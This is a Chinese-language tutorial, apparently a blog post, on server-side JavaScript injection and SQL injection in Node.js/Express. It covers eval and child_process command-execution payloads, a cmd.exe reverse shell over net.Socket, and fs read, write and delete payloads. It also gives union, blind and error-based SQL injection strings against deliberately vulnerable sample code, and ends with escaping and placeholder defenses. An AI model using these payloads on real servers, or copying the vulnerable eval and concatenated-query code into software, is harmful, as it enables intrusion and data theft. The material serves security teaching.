一、SSJI简介

ssji,为服务器端的javascript注入,可分为sql注入和代码注入

运行于服务端的javascript常用的有node.js

node.js 是运行于服务端的javascript

把javascript变为服务器端的脚本语言

二、SSJI代码注入

SSJI代码注入原理

SSJI 代码注入是一个存在于javascript端的代码注入,存在于运行于服务端的js代码注入,当传入的参数可控且没有过滤时,就会产生漏洞,攻击者可以利用js函数执行恶意js代码

SSJI代码注入常用函数

node.js 常用的命令执行函数,由于它是运行于服务端的javascript,因此它使用的函数和javascript的相似

常用函数如下

eval() settimeout() setinterval() function()

首先看下这里的eval函数

eval

函数格式eval(string)

javascript的eval作用就是计算某个字符串,并执行其中的js代码

测试代码

var express = require("express");
var app = express();

app.get('/',function(req,res){
    res.send(eval(req.query.a));
console.log(req.query.a);
})

app.listen(3002);
console.log('Server runing at http://127.0.0.1:3002/');

这里的参数a通过get传参的方式传入运行,我们传入参数会被当作代码去执行

这里传入一个console.log()的查看效果,console.log的作用是在控制台查看回显

看到这里能在控制台回显数据

function()

函数用法

function(string)()

这里的string就是我们传入的参数

这里的function用法类似于php里的create_function

这里用一个简单的测试代码测试下function是否可以执行代码

var express = require("express");
var app = express();

var aaa=Function("console.log('Hello world')")();

var server = app.listen(3088,function(){
    console.log("应用实例,访问地址为 http://127.0.0.1:3088/");
})

实际测试时,当传入参数可控时,可能造成代码执行漏洞

settimeout()

函数格式

settimeout(function,time)

该函数作用是两秒后执行函数

function处为我们可控的参数

测试代码

var express = require("express");
var app = express();

setTimeout(()=>{
  console.log("console.log('Hello world')");
},2000);

var server = app.listen(8888,function(){
    console.log("应用实例,访问地址为 http://127.0.0.1:8888/");
})

两秒后执行

函数测试效果如下

当这里为一个可控的传参时,漏洞就可能触发

setInterval() 函数

函数格式(function,time)

该函数的作用是每个两秒执行一次代码

测试代码

var express = require("express");
var app = express();

setInterval(()=>{
  console.log("console.log('Hello world')");
},2000);


var server = app.listen(8866,function(){
    console.log("应用实例,访问地址为 http://127.0.0.1:8866/");
})

函数测试如下

当这里的function处为可控传参时,漏洞就有可能触发

SSJI代码注入实际运用

在实际情况下遇到该怎么运用呢?

1.利用process模块进行命令执行

process的作用是提供当前node.js进程信息并对其进行控制

这里用的比较多的,是通过child_process,即子进程区域使用,这里它的子进程可以使用更多的服务器资源

child_process下有许多不同的方法,分别为exec,forx,spawn,execfile这些

常用的有exec去执行命令

exec 用子进程执行命令,可以通过回调参数来获得执行结果

格式 exec(命令 参数,回调函数)(实际使用可以不加回调函数)

execfile 不用于执行命令,执行一个可执行文件

实际利用时,在第一个参数位置执行shell命令,类似exec

格式1 execfile(命令,{shell:true}) {shell:true} 为开启命令执行的指令

spawn 用于执行命令,但不需要获取执行结果

格式 spawn(命令,{shell:true}) 和execFile一样,需要开启命令执行的指令

fork 用于执行js文件,实际利用中需要提前写入恶意文件

fork 格式 fork(js文件(包含路径))

exec

 测试命令

exec: require('child_process').exec('calc');

效果如下

execFile

测试命令如下

require('child_process').execFile("calc",{shell:true});

效果如下

弹出了计算器

fork

测试命令如下

require('child_process').fork("./555/hahaha/test92.js");

效果如下

spawn

测试代码

require(‘child_process’).spawn(“calc”,{shell:true});

效果如下

2.写shell

这里也可以写一个反弹shell

var net = require("net"),
sh = require("child_process").exec("cmd.exe");
var client =new net.Socket();
client.connect(3000,"127.0.0.1",function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});

通过child_process 去建立一个连接,同时运行cmd

效果如下

首先开启监听

再运行node.js

通过url去传入代码

效果如下

得到了目标cmd

3.通过调用核心模块fs去读取和写入文件

fs是node.js的文件系统模块,可以通过此模块来读取和写入文件

常用方法

语句作用eaddir(path,callback)读取目录rmdir(path,callback)删除目录readFile(fd,buffer,offset,length,position,callback)读取文件writeFile(file,data[, options],callback)写入文件

这里方法又分为同步方法和异步方法

同步方法执行完并返回结果后才执行代码,异步方法使用回调函数接受返回结果,可以立刻执行代码,这里使用同步方法更加合适,同步方法写法简单,在方法后加上Sync即为同步方法

实际操作的话,需要足够的权限

这里使用同步操作的方法去使用

readdirSync

示例命令:

测试代码

res.end(require('fs').readdirSync('.').toString())

效果如下

writeFileSync

测试代码

res.end(require('fs').writeFileSync('./cvb.txt','123456').toString());

效果如下

虽然报错,但还是成功写入

rmdirSync

测试代码

res.end(require('fs').rmdirSync('./1234').toString());

原有文件夹 1234

执行后

报错

但是文件夹被删除


readFileSync
res.end(require('fs').readFileSync('./write1.txt').toString());

效果如下

三、node.js sql注入

node.js编写的程序里,也可能存在sql注入,node.js作为一个运行于服务端的javascript后端脚本语言,支持的数据库有 sqlserver,mysql,sqlite,oracle等数据库,这里就用mysql举例

原理

和其他语言里存在sql注入漏洞的原因一样,都是没有对用户的输入做限制,当用户可控输入和原本程序要执行代码,拼接用户输入且当作SQL语句去执行

测试

node.js的sql注入和php这些都差不多,都是缺少对特殊字符的验证,用户可控输入和原本执行的代码,拼接用户输入且带入数据库中当作代码执行,这里验证node.js代码如果没有做限制就会存在SQL注入

测试代码

var mysql      = require('mysql');
var express = require("express");
const app = express();


var db = mysql.createConnection({
  host     :'localhost',
  user     :'root',
  password :'root',
  database :'test'
});

db.connect();

app.get('/hello/:id',(req,res)=>{
let sql=`select * from user where id= ${req.params.id}`;
    db.query(sql,(err,result)=>{
if(err){
    console.log(err);
res.send(err)
}else{
    console.log(result);
    res.send(result)
}
})
});

app.listen(3018, () => {

console.log(‘Server runing at http://127.0.0.1:3018/‘);

})

首先访问测试站点

得到id为1时的数据

这里测试和一般的sql注入一样

首先判断下

语句 and 1=1 & and 1=2

看and 1=1的效果

再看下and 1=2的效果

没有输出

联合查询

首先判断字段

还是mysql数据库的,用order by 判断

判断出字段数为3

用联合查询的方式判断显错位

(这里由于测试的代码原因,都会显示到页面上)

测试sql语句

查询库名

查询表名

查询字段

查询数据

不仅是联合查询,其他诸如像盲注这些也可以使用

盲注测试

测试语句

and ascii(substr((select database()),1,1))>1

测试语句

and ascii(substr((select database()),1,1))>1000

报错注入

测试语句

and updatexml(‘1’,concat(‘~’,(select database())),’1’)

如何防止SQL注入

SQL注入这类问题就是因为没有做好过滤和对传参的控制所导致的,那么node.js里如何防止SQL注入问题,主要用到了3个方法

1.escape() 参数编码

node.js里的escape函数用于编码目标字符串,在sql语句拼接输入时,将sql语句编码来起到防止sql注入

测试代码

var mysql      = require('mysql');
var express = require("express");
const app = express();


var db = mysql.createConnection({
  host     :'localhost',
  user     :'root',
  password :'root',
  database :'test'
});

db.connect();

app.get('/hello/:id',(req,res)=>{
req.params.id = escape(req.params.id)
let sql=`select * from user where id= ${req.params.id}`;
    db.query(sql,(err,result)=>{
if(err){
    console.log(err);
}else{
    console.log(result);
    res.send(result)
}
})
});

app.listen(3019,()=>{
console.log('Server runing at http://127.0.0.1:3019/');
})

查询后报错

这里直接将查询语句编码后放入数据库查询报错

2.connection.query() 查询参数占位符

通过查询参数占位符的方法来起到绕过效果,通过占位符来达到防止sql注入的方法

采用?替换查询参数中的变量

var mysql      = require('mysql');
var express = require("express");
const app = express();

var db = mysql.createConnection({
  host     :'localhost',
  user     :'root',
  password :'root',
  database :'test'
});

db.connect();

app.get('/hello/:id',(req,res)=>{
    db.query({
    sql:'select * from user where id = ?',
    values:[req.params.id],
},
function(err,result){
    console.log(result);
    res.send(result)
})
});

app.listen(3020,()=>{
console.log('Server runing at http://127.0.0.1:3020/');
});

后续的查询语句无效,只查询了参数内容

3.mysql.format 转义

mysql.format用于转义参数,该函数会自动选择合适的方法转义参数

var mysql      = require('mysql');
var express = require("express");
const app = express();

var db = mysql.createConnection({
  host     :'localhost',
  user     :'root',
  password :'root',
  database :'test'
});

db.connect();

app.get('/hello/:id',(req,res)=>{
var sql="select * from user where id= ?";
var inserts =[req.params.id];
sql=mysql.format(sql,inserts);
    db.query(sql,(err,result)=>{
if(err){
    console.log(err);
}else{
    console.log(result);
    res.send(result)
}
})
});

app.listen(3021,()=>{
console.log('Server runing at http://127.0.0.1:3021/');
})

只查询了id参数相关内容,后面的sql语句内容无效

参考连接

https://www.mi1k7ea.com/2020/03/29/%E6%B5%85%E6%9E%90Node-js%E5%AE%89%E5%85%A8/#SQL%E6%B3%A8%E5%85%A5

https://labs.secforce.com/posts/server-side-javascript-injection/